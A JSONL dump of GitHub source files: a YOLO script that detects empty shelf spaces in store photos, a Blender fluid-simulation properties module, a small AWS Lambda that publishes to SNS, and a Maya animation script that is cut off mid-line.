+{"seq_id":"24401496409","text":"from scripts.packages.yolo_predict import YOLO_Pred\nfrom scripts.packages.paths import ODISPaths \nimport pandas as pd\nimport numpy as np\nimport cv2\nimport multiprocessing\nfrom functools import partial\nimport itertools\nimport os\n\nPATHS = ODISPaths()\n\ndef get_neightbours(df_predictions:pd.DataFrame, neightbour:str, index_it:int) -> dict:\n \"\"\"\n Identifies the neightbours of each predicted bounding box from a given image.\n \n Takes as parameter a dataframe which stores all the coords of the predicted bounding boxes.\n Defines 4 filters to limit the spectrum to look for the neightbours. \n \n Each filter is calculated from X_center/Y_center.\n\n You have to specify which side(right or left) you want to evaluate. \n\n Returns a dictionary with key:pair values, where keys are the evaluted bounding box and the pair values are the neightbours of that key value.\n\n This function is structured in a way to be suited for parallelizing. \n \n The goal is to optimize times frames and resources to get the left/right neightbours as fast as possible\n\n Args:\n df_predictions (pd.DataFrame): Dataframe with predicted bb obtained with Yolov5.\n neightbour (str): Right or Left.\n index_it (int): Iterable.\n\n Returns:\n dict_of_neightbours: Bounding_box:BB_Neightbours\n \"\"\"\n\n dict_of_neightbours = {} \n\n X_center_0 = df_predictions.loc[index_it][0]\n Y_center_0 = df_predictions.loc[index_it][1]\n Width_0 = df_predictions.loc[index_it][2]\n height_0 = df_predictions.loc[index_it][3]\n threshold_x_0 = 1 * Width_0\n threshold_y_0 = 1 * height_0\n\n INPUT_WH_YOLO = 640\n filter_1 = (df_predictions.loc[:, 'X_center'] < (X_center_0 + INPUT_WH_YOLO/2))\n filter_2 = (df_predictions.loc[:, 'X_center'] > (X_center_0 - INPUT_WH_YOLO/2))\n filter_3 = (df_predictions.loc[:, 'Y_center'] > (Y_center_0 - INPUT_WH_YOLO/2))\n filter_4 = (df_predictions.loc[:, 'Y_center'] < (Y_center_0 + INPUT_WH_YOLO/2))\n filter_final = (filter_1 & filter_2) & (filter_3 & filter_4)\n\n df_predictions_final_2 = df_predictions[filter_final]\n\n for index_bb in df_predictions_final_2.index:\n\n list_of_neightbours_l = []\n list_of_neightbours_r = []\n list_of_alones_l = []\n list_of_alones_r = []\n\n X_center_neightbour = df_predictions.loc[index_bb][0]\n Y_center_neightbour = df_predictions.loc[index_bb][1]\n a = 2\n k = 2\n\n ### Neightbor Left\n if neightbour == 'left':\n \n x_min_l = X_center_0 - Width_0 - (a * threshold_x_0)\n x_max_l = X_center_0 - Width_0 + (k * threshold_x_0)\n\n y_min_l = Y_center_0 - (k * threshold_y_0)\n y_max_l = Y_center_0 + (k * threshold_y_0)\n\n if (x_min_l < X_center_neightbour < x_max_l and y_min_l < Y_center_neightbour < y_max_l ) :\n list_of_neightbours_l.append([index_bb])\n try:\n dict_of_neightbours[str(index_it)+'_l'].append(index_bb)\n except KeyError:\n dict_of_neightbours[str(index_it)+'_l']= []\n dict_of_neightbours[str(index_it)+'_l'].append(index_bb)\n else:\n list_of_alones_l.append([index_bb])\n\n ### Neightbor Right\n elif neightbour == 'right':\n\n x_min_r = X_center_0 + Width_0 - (k*threshold_x_0)\n x_max_r = X_center_0 + Width_0 + (a*threshold_x_0)\n\n y_min_r = Y_center_0 - (k*threshold_y_0)\n y_max_r = Y_center_0 + (k*threshold_y_0)\n\n if (x_min_r < X_center_neightbour < x_max_r and y_min_r < Y_center_neightbour < y_max_r ):\n list_of_neightbours_r.append([index_bb])\n try:\n dict_of_neightbours[str(index_it)+'_r'].append(index_bb)\n except KeyError:\n dict_of_neightbours[str(index_it)+'_r']= []\n dict_of_neightbours[str(index_it)+'_r'].append(index_bb)\n else:\n list_of_alones_r.append([index_it, index_bb])\n \n return dict_of_neightbours\n\ndef image_mean(x:int, y:int, w:int, h:int, img_path:str) -> float:\n \"\"\"_summary_\n\n Args:\n x (int): _description_\n y (int): _description_\n w (int): _description_\n h (int): _description_\n img_path (str): _description_\n\n\n\n Returns:\n roi (float): _description_\n \"\"\"\n \n image = cv2.imread(img_path)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n roi = np.mean(gray[y:y + h, x:x + w])\n\n return roi\n\ndef search_voids_bb_neightbours(df_predictions: pd.DataFrame, list_of_dicts: list, h_image:int, w_image:int, img_path) -> list:\n \"\"\"\n Identifies empty spaces by evaluating each bounding box and it's neightbours. \n\n The heuristic of this function draws a \"virtual\" bounding box beside each bounding box and computes the IoU by iteration over it's neightbours.\n\n IoU = Intersection over Union (shorturl.at/ituS0)\n\n If all the calculated IoU (obtained from the neightbours) is less than 10% (0.1), it means that beside the evaluated bounding box, exists an empty space.\n\n A conditional clause is added with h_image & w_image to avoid surpassing the boundiries of the image in each calculation and avoid irrelevant IoU's.\n\n Moreover, with image_mean() we double-check the empty spaces. Some empty spaces are not \"natural empty spaces\", they are just columns or space from each shelf.\n\n This empty spaces are avoided because do not represent empty *product* spaces.\n\n Image_mean() returns a floating point value called \"roi\". Roi is the average pixel value of the a certain space. \n\n Args:\n df_predictions (pd.DataFrame): Dataframe with predicted bb obtained with Yolov5.\n list_of_dicts (list): Unified dicts as one list to iterate over. All left and right neightbours added.\n h_image (int): Height of the image.\n w_image (int): Width of the image.\n img_path (_type_): Path to image to be predicted.\n\n Returns:\n list: List of voids with label and coordinates.\n \"\"\"\n list_of_voids = []\n\n # Translation of the virtual bounding box. Left = -1 / Right = +1 \n k = 0\n\n # Void counter\n void_number = 0\n\n # Iterate over all dicts in list\n for dicts in list_of_dicts:\n\n # Iterate over key and value pairs of dict (index_a = key // index_b = value pair) - Key = Bounding box being evaluated / Value pair = Neightbours\n for index_a, index_b in dicts.items():\n\n if index_a[-1] == 'l':\n k = -1\n elif index_a[-1] == 'r':\n k = 1\n\n # Pick only de integer so the iterator works\n index_a = index_a[0:-2]\n\n #h_image, w_image = image.shape[0:2] # limits of the image\n w_index_a = df_predictions.loc[int(index_a)][2]\n h_index_a = df_predictions.loc[int(index_a)][3]\n \n # Virtual bounding box to evaluate from neightbours \n xA1 = df_predictions.loc[int(index_a)][0] - df_predictions.loc[int(index_a)][2]/2 + (k * w_index_a) # Para izquierda: (-1) / Para derecha: 1 / Para arriba: 0\n yA1 = df_predictions.loc[int(index_a)][1] - df_predictions.loc[int(index_a)][3]/2 \n xA2 = df_predictions.loc[int(index_a)][0] + df_predictions.loc[int(index_a)][2]/2 + (k * w_index_a) # Para izquierda: (-1) / Para derecha: 1 / Para arriba: 0\n yA2 = df_predictions.loc[int(index_a)][1] + df_predictions.loc[int(index_a)][3]/2 \n boxA = [xA1, yA1, xA2, yA2]\n\n X_center_A = df_predictions.loc[int(index_a)][0] - k * df_predictions.loc[int(index_a)][2] # Left X_center - Width // Right X_center + Width\n Y_center_A = df_predictions.loc[int(index_a)][1] - k * df_predictions.loc[int(index_a)][3] # Left Y_center - Width // Right Y_center + Width\n\n # Limits of the image\n if 0 < xA1 < w_image and 0 < xA2 < w_image and 0 < yA1 < h_image and 0 < yA2 < h_image:\n trigger = True\n\n # Iterate over each neightbour: neightbour vs virtual bounding box(key value)\n for item in index_b:\n \n first_list = []\n xB1 = df_predictions.loc[item][0] - df_predictions.loc[item][2]/2\n yB1 = df_predictions.loc[item][1] - df_predictions.loc[item][3]/2\n xB2 = df_predictions.loc[item][0] + df_predictions.loc[item][2]/2\n yB2 = df_predictions.loc[item][1] + df_predictions.loc[item][3]/2\n boxB = [xB1, yB1,xB2, yB2]\n\n xA = max(boxA[0], boxB[0])\n yA = max(boxA[1], boxB[1])\n xB = min(boxA[2], boxB[2])\n yB = min(boxA[3], boxB[3])\n\n interArea = (xB - xA) * (yB - yA)\n\n boxAArea = (boxA[2] - boxA[0]) * (boxA[3] - boxA[1])\n boxBArea = (boxB[2] - boxB[0]) * (boxB[3] - boxB[1])\n\n iou = interArea / float(boxAArea + boxBArea - interArea)\n trigger = trigger and (iou < 0.1)\n\n if trigger == False:\n pass\n else:\n roi = image_mean(x= int(xA1),y= int(yA1),w= int(w_index_a), h= int(h_index_a), img_path= img_path)\n if roi < 50:\n void_number += 1\n void_text = f'Void_{void_number}'\n first_list.append(index_a)\n first_list.append(void_text)\n first_list.append(xA1)\n first_list.append(yA1)\n first_list.append(xA2)\n first_list.append(yA2)\n first_list.append(w_index_a)\n first_list.append(h_index_a)\n list_of_voids.append(first_list)\n else:\n None\n\n return list_of_voids\n\ndef get_df_voids(list_of_dicts_n:list, df_predictions:pd.DataFrame, h_image:int, w_image:int, img_path:str) -> pd.DataFrame:\n \"\"\"\n Get dataframe with empty spaces's coordinates, labels, width and height.\n\n Args:\n list_of_dicts_n (list): List of dicts with bounding box and it's neightbours as pair values. Unified as one list to iterate over.\n df_predictions (pd.DataFrame): Dataframe with predicted bb obtained with Yolov5.\n h_image (int): Height of the image.\n w_image (int): Width of the image.\n img_path (str): Path to the image.\n\n Returns:\n df_voids: Dataframe with predicted voids spaces\n \"\"\"\n\n # List of dicts(left/right/high) into 1 list\n list_neightbours = list(itertools.chain.from_iterable(list_of_dicts_n))\n\n # Get void neightbours \n list_of_voids = search_voids_bb_neightbours(df_predictions= df_predictions, list_of_dicts=list_neightbours, h_image=h_image, w_image=w_image, img_path= img_path)\n\n # Create dataframe with data(X_center/Y_center/Label) of voids\n df_voids = pd.DataFrame(list_of_voids, columns=['Neightbour','Label','x1','y1','x2','y2', 'Width','Height'])\n\n return df_voids\n\ndef plot_voids_from_df(image_name:str, df_predictions: pd.DataFrame, df_voids: pd.DataFrame) -> None:\n \"\"\"\n Plot voids (and predicted objects) on image.\n\n Args:\n image_name (str): Name of the image.\n df_predictions (pd.DataFrame): Dataframe with predicted bb (objects) obtained with Yolov5.\n df_voids (pd.DataFrame): Dataframe with predicted voids spaces.\n \"\"\"\n\n # load the image\n img_path = os.path.join(PATHS.UPLOAD_FOLDER, image_name)\n\n image = cv2.imread(img_path)\n\n for i in df_predictions.iterrows():\n # extract bounding box\n x1 = int(i[1]['X_center']) - int(i[1]['Width'] / 2)\n x2 = int(i[1]['X_center']) + int(i[1]['Width'] / 2)\n y1 = int(i[1]['Y_center']) - int(i[1]['Height'] / 2)\n y2 = int(i[1]['Y_center']) + int(i[1]['Height'] / 2)\n\n start_point=(x1, y1)\n\n # represents the top right corner of rectangle\n end_point=(x2,y2)\n\n # # Blue color in BGR\n color = (0, 255, 0)\n\n # # Line thickness of 5 px\n thickness = 5\n\n # plot the rectangle over the image\n\n image = cv2.rectangle(image, start_point, end_point, color, thickness)\n\n for i in df_voids.index:\n x1 = int(df_voids.loc[i][2]) \n y1 = int(df_voids.loc[i][3]) \n x2 = int(df_voids.loc[i][4]) \n y2 = int(df_voids.loc[i][5])\n\n # represents the top left corner of rectangle\n start_point=(x1, y1)\n\n # represents the top right corner of rectangle\n end_point=(x2,y2)\n\n # # Red color in BGR\n color = (0, 0, 255)\n\n # # Line thickness of 5 px\n thickness = 5\n\n cv2.rectangle(image, (x1, y1-37),(x2,y2), color, thickness)\n cv2.putText(image, df_voids.loc[i][1], (x1, y1-10), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 3)\n # plot the rectangle over the image\n cv2.rectangle(image, start_point, end_point, color, thickness)\n\n prediction_path = os.path.join(PATHS.PREDICTIONS, image_name)\n\n cv2.imwrite(filename= prediction_path, img=image)\n\ndef run(image_name):\n\n # Instantiate the name of the folder's weights\n\n training = 'first_training'\n\n path_training = os.path.join(PATHS.WEIGHTS, training)\n\n path_training_weights = os.path.join(path_training, 'weights')\n\n name_of_weights = 'bestnoft.onnx'\n\n path_picked_weights = os.path.join(path_training_weights, name_of_weights)\n\n yaml_file = 'config_blmodel.yaml'\n\n path_yaml = os.path.join(PATHS.DATA, yaml_file)\n\n yolo = YOLO_Pred(path_picked_weights, path_yaml)\n\n img_path = os.path.join(PATHS.UPLOAD_FOLDER, image_name)\n image = cv2.imread(img_path)\n h_image, w_image = image.shape[0:2]\n df_predictions = yolo.predictions(image=image)\n\n # Get neightbours from 3 ways (right / left / up)\n pool = multiprocessing.Pool()\n neightbour = 'left'\n func = partial(get_neightbours, df_predictions, neightbour)\n dict_of_neightbours_left = pool.map(func, list(df_predictions.index))\n pool.close()\n pool.join()\n\n # clean up empty positions\n dict_of_neightbours_left = list(filter(None, dict_of_neightbours_left))\n\n pool = multiprocessing.Pool()\n neightbour = 'right'\n func = partial(get_neightbours, df_predictions, neightbour)\n dict_of_neightbours_right = pool.map(func, list(df_predictions.index))\n pool.close()\n pool.join()\n\n dict_of_neightbours_right = list(filter(None, dict_of_neightbours_right))\n\n # Merged dictionaries into 1 list of dictionaries\n list_of_dicts_n = [dict_of_neightbours_left, dict_of_neightbours_right]\n\n # Create dataframe with data(X_center/Y_center/Label) of voids\n df_voids = get_df_voids(list_of_dicts_n= list_of_dicts_n, df_predictions= df_predictions, h_image= h_image, w_image= w_image, img_path=img_path)\n\n # Plot voids predictions and detected objects on image\n plot_voids_from_df(image_name= image_name, df_predictions= df_predictions, df_voids= df_voids)\n\n return True\n\ndef main_detect_voids(image_name):\n run(image_name)\n\nif __name__ == '__main__':\n main_detect_voids() \n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"cremerf/ObjectDetectionInStore","sub_path":"model/scripts/packages/detect_voids.py","file_name":"detect_voids.py","file_ext":"py","file_size_in_byte":15470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16741863885","text":"import bpy, math\nfrom bpy.props import (\n BoolProperty,\n EnumProperty,\n FloatProperty,\n IntProperty,\n PointerProperty,\n StringProperty\n )\n\nfrom .custom_properties import (\n NewMinMaxIntProperty,\n )\n\nfrom .. import types\nfrom ..objects.flip_fluid_aabb import AABB\nfrom ..utils import version_compatibility_utils as vcu\nfrom ..utils import export_utils\n\n\nclass DomainSimulationProperties(bpy.types.PropertyGroup):\n conv = vcu.convert_attribute_to_28\n\n frame_range_mode = EnumProperty(\n name=\"Frame Range Mode\",\n description=\"Frame range to use for baking the simulation\",\n items=types.frame_range_modes,\n default='FRAME_RANGE_TIMELINE',\n options={'HIDDEN'},\n ); exec(conv(\"frame_range_mode\"))\n frame_range_custom = NewMinMaxIntProperty(\n name_min=\"Start Frame\", \n description_min=\"First frame of the simulation cache\", \n min_min=0,\n default_min=1,\n options_min={'HIDDEN'},\n\n name_max=\"End Frame\", \n description_max=\"Final frame of the simulation cache\", \n min_max=0,\n default_max=250,\n options_max={'HIDDEN'},\n ); exec(conv(\"frame_range_custom\"))\n update_settings_on_resume = BoolProperty(\n name=\"Update Settings on Resume\",\n description=\"Update simulation settings and meshes when resuming a bake.\"\n \" If disabled, the simulator will use the original settings and meshes\"\n \" from when the bake was started\",\n default=False,\n options={'HIDDEN'},\n ); exec(conv(\"update_settings_on_resume\"))\n enable_savestates = BoolProperty(\n name=\"Enable Savestates\",\n description=\"Generate savestates/checkpoints as the simulation progresses.\"\n \" Savestates will allow you to rollback the simulation to an earlier\"\n \" point so that you can re-simulate from a previous frame\",\n default=True,\n options = {'HIDDEN'},\n ); exec(conv(\"enable_savestates\"))\n savestate_interval = IntProperty(\n name=\"Savestate Interval\",\n description=\"Number of frames between each savestate\",\n min=1,\n default=50,\n options={'HIDDEN'},\n ); exec(conv(\"savestate_interval\"))\n delete_outdated_savestates = BoolProperty(\n name=\"Delete Outdated Savestates on Resume\",\n description=\"When resuming a simulation from a previous frame, delete\"\n \" all savestates that are ahead in the timeline\",\n default=True,\n options = {'HIDDEN'},\n ); exec(conv(\"delete_outdated_savestates\"))\n delete_outdated_meshes = BoolProperty(\n name=\"Delete Outdated Meshes on Resume\",\n description=\"When resuming a simulation from a previous frame, delete\"\n \" all simulation meshes that are ahead in the timeline\",\n default=True,\n options = {'HIDDEN'},\n ); exec(conv(\"delete_outdated_meshes\"))\n selected_savestate = EnumProperty(\n name=\"Selected Savestate\",\n description=\"Resume simulation from this savestate frame\",\n update=lambda self, context: self._update_selected_savestate(context),\n items=lambda self, context: self._get_savestate_enums(context),\n ); exec(conv(\"selected_savestate\"))\n selected_savestate_int = IntProperty(\n name=\"Selected Savestate\",\n description=\"Resume simulation from this savestate frame\",\n update=lambda self, context: self._update_selected_savestate_int(context),\n options={'HIDDEN'},\n ); exec(conv(\"selected_savestate_int\"))\n resolution = IntProperty(\n name=\"Resolution\",\n description=\"Domain grid resolution. This value specifies the number of\"\n \" grid cells on the longest side of the domain. See Debug Panel for\"\n \" grid visualization tools\",\n min=10,\n default=65,\n update=lambda self, context: self._update_resolution(context),\n options={'HIDDEN'},\n ); exec(conv(\"resolution\"))\n preview_resolution = IntProperty(\n name=\"Preview Resolution\",\n description=\"The resolution to use for generating lower quality meshes for\"\n \" the preview fluid surface. Increasing this value will take no extra time\"\n \" to simulate, but will increase cache size\",\n min=1, soft_max=150,\n default=45,\n update=lambda self, context: self._update_preview_resolution(context),\n options={'HIDDEN'},\n ); exec(conv(\"preview_resolution\"))\n auto_preview_resolution = BoolProperty(\n name=\"Recommended\",\n description=\"Set recommended preview resolution based on domain resolution and\"\n \" mesh generation settings\",\n default=True,\n update=lambda self, context: self._update_auto_preview_resolution(context),\n options={'HIDDEN'},\n ); exec(conv(\"auto_preview_resolution\"))\n lock_cell_size = BoolProperty(\n name=\"Lock Cell Size\",\n description=\"Lock the current grid cell size and update the grid\"\n \" resolution as the domain dimensions are changed. Enable this\"\n \" option before resizing the domain to maintain a constant level\"\n \" of simulation detail.\",\n default=False,\n update=lambda self, context: self._update_lock_cell_size(context),\n options = {'HIDDEN'},\n ); exec(conv(\"lock_cell_size\"))\n frame_rate_mode = EnumProperty(\n name=\"Frame Rate Mode\",\n description=\"Select the frame rate for the simulation animation\",\n items=types.frame_rate_modes,\n default='FRAME_RATE_MODE_SCENE',\n options={'HIDDEN'},\n ); exec(conv(\"frame_rate_mode\"))\n frame_rate_custom = FloatProperty(\n name=\"Frame Rate\", \n description=\"Frame rate in frames per second\", \n min=0.001,\n default=60.0,\n precision=1,\n ); exec(conv(\"frame_rate_custom\"))\n time_scale = FloatProperty(\n name=\"Speed\", \n description=\"Scale the frame timestep by this value. If set to less than\"\n \" 1.0, the simulation will appear in slow motion. If set to greater than\"\n \" 1.0, the simulation will appear sped up\", \n min=0.0,\n default=1.0,\n precision=3,\n ); exec(conv(\"time_scale\"))\n \n locked_cell_size = FloatProperty(default=-1.0); exec(conv(\"locked_cell_size\"))\n frame_start = IntProperty(default=-1); exec(conv(\"frame_start\"))\n frame_end = IntProperty(default=-1); exec(conv(\"frame_end\"))\n\n more_bake_settings_expanded = BoolProperty(default=False); exec(conv(\"more_bake_settings_expanded\"))\n last_selected_savestate_int = IntProperty(default=-1); exec(conv(\"last_selected_savestate_int\"))\n selected_savestate_int_label = StringProperty(default=\"\"); exec(conv(\"selected_savestate_int_label\"))\n\n\n def register_preset_properties(self, registry, path):\n add = registry.add_property\n add(path + \".resolution\", \"Resolution\", group_id=0)\n add(path + \".preview_resolution\", \"Preview Resolution\", group_id=0)\n add(path + \".auto_preview_resolution\", \"Auto Preview Resolution\", group_id=0)\n add(path + \".lock_cell_size\", \"Lock Cell Size\", group_id=0)\n add(path + \".frame_rate_mode\", \"Frame Rate Mode\", group_id=0)\n add(path + \".frame_rate_custom\", \"Frame Rate\", group_id=0)\n add(path + \".time_scale\", \"Time Scale\", group_id=0)\n\n add(path + \".frame_range_mode\", \"Frame Range Mode\", group_id=1)\n add(path + \".frame_range_custom\", \"Frame Range (Custom)\", group_id=1)\n add(path + \".update_settings_on_resume\", \"Update Settings on Resume\", group_id=1)\n add(path + \".enable_savestates\", \"Enable Savestates\", group_id=1)\n add(path + \".savestate_interval\", \"Savestate Interval\", group_id=1)\n add(path + \".delete_outdated_savestates\", \"Delete Outdated Savestates\", group_id=1)\n add(path + \".delete_outdated_meshes\", \"Delete Outdated Meshes\", group_id=1)\n\n\n def initialize(self):\n self.frame_rate_custom = bpy.context.scene.render.fps\n\n\n def scene_update_post(self, scene):\n self._update_locked_cell_size_resolution()\n self._set_recommended_preview_resolution()\n\n\n # World scale is not applied to dx, which will match dimensions within viewport\n def get_viewport_grid_dimensions(self, resolution=None, lock_cell_size=None):\n domain_object = bpy.context.scene.flip_fluid.get_domain_object()\n dprops = bpy.context.scene.flip_fluid.get_domain_properties()\n if dprops is None or resolution == 0:\n return 1, 1, 1, 1.0\n\n if lock_cell_size is None:\n lock_cell_size = self.lock_cell_size\n if resolution is None:\n resolution = self.resolution\n else:\n lock_cell_size = False\n\n domain_bbox = AABB.from_blender_object(domain_object)\n max_dim = max(domain_bbox.xdim, domain_bbox.ydim, domain_bbox.zdim)\n if lock_cell_size:\n unlocked_dx = max_dim / resolution\n locked_dx = self.locked_cell_size\n dx = locked_dx\n if abs(locked_dx - unlocked_dx) < 1e-6:\n dx = unlocked_dx\n else:\n dx = max_dim / resolution\n\n precision = 5\n isize = math.ceil(round(domain_bbox.xdim / dx, precision))\n jsize = math.ceil(round(domain_bbox.ydim / dx, precision))\n ksize = math.ceil(round(domain_bbox.zdim / dx, precision))\n\n return isize, jsize, ksize, dx\n\n\n # World scale will be applied to dx, which will match dimensions within the simulation\n def get_simulation_grid_dimensions(self, resolution=None, lock_cell_size=None):\n dprops = bpy.context.scene.flip_fluid.get_domain_properties()\n isize, jsize, ksize, dx = self.get_viewport_grid_dimensions(resolution, lock_cell_size)\n dx *= dprops.world.get_world_scale()\n return isize, jsize, ksize, dx\n\n\n def get_viewport_preview_dx(self):\n domain_object = bpy.context.scene.flip_fluid.get_domain_object()\n dprops = bpy.context.scene.flip_fluid.get_domain_properties()\n if dprops is None:\n return 1.0\n domain_bbox = AABB.from_blender_object(domain_object)\n max_dim = max(domain_bbox.xdim, domain_bbox.ydim, domain_bbox.zdim)\n return max_dim / self.preview_resolution\n\n\n def get_simulation_preview_dx(self):\n dprops = bpy.context.scene.flip_fluid.get_domain_properties()\n preview_dx = self.get_viewport_preview_dx()\n return preview_dx * dprops.world.get_world_scale()\n\n\n def get_frame_range(self):\n dprops = bpy.context.scene.flip_fluid.get_domain_properties()\n if self.frame_range_mode == 'FRAME_RANGE_TIMELINE':\n frame_start = bpy.context.scene.frame_start\n if dprops.bake.is_autosave_available:\n frame_start = dprops.bake.original_frame_start\n return frame_start, bpy.context.scene.frame_end\n else:\n frame_start = self.frame_range_custom.value_min\n if dprops.bake.is_autosave_available:\n frame_start = dprops.bake.original_frame_start\n return frame_start, self.frame_range_custom.value_max\n\n\n def get_selected_savestate_id(self):\n dprops = bpy.context.scene.flip_fluid.get_domain_properties()\n savestate_id = None\n if dprops.bake.is_autosave_available:\n if self.enable_savestates:\n savestate_id = int(self.selected_savestate)\n else:\n return dprops.bake.autosave_frame\n return savestate_id\n\n\n def get_num_savestate_enums(self):\n return len(self._get_savestate_enums())\n\n\n def get_frame_rate(self):\n if self.frame_rate_mode == 'FRAME_RATE_MODE_SCENE':\n return bpy.context.scene.render.fps\n elif self.frame_rate_mode == 'FRAME_RATE_MODE_CUSTOM':\n return self.frame_rate_custom\n\n\n def get_frame_rate_data_dict(self):\n if self.frame_rate_mode == 'FRAME_RATE_MODE_SCENE':\n prop_group = bpy.context.scene.render\n return export_utils.get_property_data_dict(bpy.context.scene, prop_group, 'fps')\n elif self.frame_rate_mode == 'FRAME_RATE_MODE_CUSTOM':\n domain_object = bpy.context.scene.flip_fluid.get_domain_object()\n return export_utils.get_property_data_dict(domain_object, self, 'frame_rate_custom')\n\n\n def _update_resolution(self, context):\n self._set_recommended_preview_resolution(context)\n if self.preview_resolution > self.resolution:\n self.preview_resolution = self.resolution\n\n\n def _update_preview_resolution(self, context):\n self._update_resolution(context)\n\n\n def _update_auto_preview_resolution(self, context):\n self._set_recommended_preview_resolution(context)\n\n\n def _set_recommended_preview_resolution(self, context=None):\n if not self.auto_preview_resolution:\n return\n if context is None:\n context = bpy.context\n dprops = context.scene.flip_fluid.get_domain_properties()\n if dprops.surface.subdivisions > 1:\n preview = self.resolution\n else:\n preview = self.resolution // 2\n if self.preview_resolution != preview:\n self.preview_resolution = preview\n\n\n def _update_lock_cell_size(self, context):\n if self.lock_cell_size:\n domain_object = context.scene.flip_fluid.get_domain_object()\n bbox = AABB.from_blender_object(domain_object)\n max_dim = max(bbox.xdim, bbox.ydim, bbox.zdim)\n self.locked_cell_size = max(max_dim / self.resolution, 1e-6)\n else:\n self.locked_cell_size = -1.0\n\n\n def _update_locked_cell_size_resolution(self):\n domain_object = bpy.context.scene.flip_fluid.get_domain_object()\n if domain_object is None:\n return\n if not self.lock_cell_size:\n return\n bbox = AABB.from_blender_object(domain_object)\n max_dim = max(bbox.xdim, bbox.ydim, bbox.zdim)\n ratio = max_dim / self.locked_cell_size\n if abs(ratio - math.floor(ratio + 0.5)) < 1e-6:\n ratio = math.floor(ratio + 0.5)\n resolution = math.ceil(ratio)\n if self.resolution != resolution:\n self.resolution = resolution\n\n\n def _get_savestate_enums(self, context=None):\n if context is None:\n context = bpy.context\n dprops = context.scene.flip_fluid.get_domain_properties()\n return dprops.bake.get_savestate_enums()\n\n\n def _update_selected_savestate(self, context):\n self[\"selected_savestate_int\"] = int(self.selected_savestate) + 1\n self.last_selected_savestate_int = self.selected_savestate_int\n\n self.selected_savestate_int_label = \"\"\n enums = self._get_savestate_enums()\n for e in enums:\n if e[0] == self.selected_savestate:\n label = e[1]\n if not label:\n break\n idx1 = label.find(\"(\")\n idx2 = label.find(\")\")\n if idx1 == -1 or idx2 == -1:\n break\n self.selected_savestate_int_label = label[idx1:idx2+1]\n\n\n def _update_selected_savestate_int(self, context):\n last_id = self.last_selected_savestate_int - 1\n next_id = self.selected_savestate_int - 1\n\n enums = self._get_savestate_enums()\n ids = [int(e[0]) for e in enums]\n ids.sort()\n\n if next_id in ids:\n next_valid_id = next_id\n else:\n if next_id == last_id + 1:\n next_valid_id = ids[min(ids.index(last_id) + 1, len(ids) - 1)]\n elif next_id == last_id - 1:\n next_valid_id = ids[max(ids.index(last_id) - 1, 0)]\n else:\n nearest_id = min(ids, key=lambda x:abs(x-next_id))\n next_valid_id = nearest_id\n\n self.selected_savestate = str(next_valid_id)\n self[\"selected_savestate_int\"] = next_valid_id + 1\n\n self.last_selected_savestate_int = self.selected_savestate_int\n\n\ndef register():\n bpy.utils.register_class(DomainSimulationProperties)\n\n\ndef unregister():\n bpy.utils.unregister_class(DomainSimulationProperties)","repo_name":"MaiKuraki/Blender-FLIP-Fluids","sub_path":"src/addon/properties/domain_simulation_properties.py","file_name":"domain_simulation_properties.py","file_ext":"py","file_size_in_byte":16942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"70775652892","text":"import json\nimport boto3\nimport logging\n\nLOGGER = logging.getLogger()\nLOGGER.setLevel(logging.INFO)\n# import requests\n\n\ndef lambda_handler(event, context):\n try:\n LOGGER.info(event)\n notification = \"Here is the SNS notification for Lambda function tutorial.\"\n sns_client = boto3.client('sns')\n response = sns_client.publish(\n TargetArn=\"arn:aws:sns:ap-south-1:449845850442:MyFirstSNSTopic\",\n Message=json.dumps({'default': event[\"body\"]}),\n MessageStructure='json'\n )\n except Exception as e:\n LOGGER.info(e)\n raise e\n\n return {\n \"statusCode\": 200,\n \"body\": json.dumps(response)\n }\n\n","repo_name":"debashish-choudhury/Employee-Api-Fanout-Architecture","sub_path":"lambda_sns/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17130165478","text":"from pymel.core import *\nimport numpy as np\nimport sys, os\nfrom collections import namedtuple\nsys.path.append(\"/Users/Alex/Code/hsmm-particlefilters/\")\nos.chdir(\"/Users/Alex/Code/hsmm-particlefilters/\")\n\nparticle_data = np.load(\"/Users/Alex/Dropbox/Science/Datta lab/Posture Tracking/Test Data/best joint angles/fucker.npy\")\n\nParticlePose = namedtuple(\n 'ParticlePose',\n ['x','y','theta_yaw',\n 'z','theta_roll','s_w','s_l','s_h',\n 'psi_z3','psi_y4','psi_z4','psi_y5'])\n\nx = particle_data[:,0]\ny = particle_data[:,1]\ntheta = particle_data[:,2]\nz = particle_data[:,3]\nscale_width = particle_data[:,5]\nscale_length = particle_data[:,6]\nscale_height = particle_data[:,7]\n\nz3 = particle_data[:,-4]\ny4 = particle_data[:,-3]\nz4 = particle_data[:,-2]\ny5 = particle_data[:,-1]\n\n\nnum_frames = len(z3)\n\ncmds.playbackOptions(animationEndTime=num_frames, maxTime=num_frames)\ncmds.cutKey(time=(0,num_frames))\n\n# Unlock the translation and rotation attributes of the mouse\nrelevant_attributes = [\"translateX\", \"translateY\", \"translateZ\", \"rotateY\", \"scaleX\", \"scaleY\", \"scaleZ\"]\ncmds.select(\"Mouse1\", replace=True)\nfor attr in relevant_attributes:\n cmds.setAttr(\"Mouse1.\"+attr, lock=False)\n\ndefault_values = {}\nfor attr in relevant_attributes:\n default_values[attr] = cmds.getAttr(\"Mouse1.\"+attr)\n\ncmds.currentTime(1)\ncmds.setKeyframe()\n\nfor i in range(num_frames):\n cmds.currentTime(i+2)\n \n cmds.select(\"joint3\", replace=True)\n cmds.rotate(0, 0, z3[i], relative=False, objectSpace=True)\n cmds.setKeyframe() \n \n cmds.select(\"joint4\", replace=True)\n cmds.rotate(0, 0, z4[i], relative=False, objectSpace=True)\n cmds.setKeyframe() \n cmds.rotate(0, y4[i], 0, relative=False, objectSpace=True)\n cmds.setKeyframe() \n \n cmds.select(\"joint5\", replace=True)\n cmds.rotate(0, y5[i], 0, relative=False, objectSpace=True)\n cmds.setKeyframe()\n \n cmds.select(\"Mouse1\")\n cmds.setAttr(\"Mouse1.scaleX\", scale_width[i]*default_values['scaleX'])\n cmds.setAttr(\"Mouse1.scaleZ\", scale_length[i]*default_values['scaleZ'])\n cmds.setAttr(\"Mouse1.scaleY\", 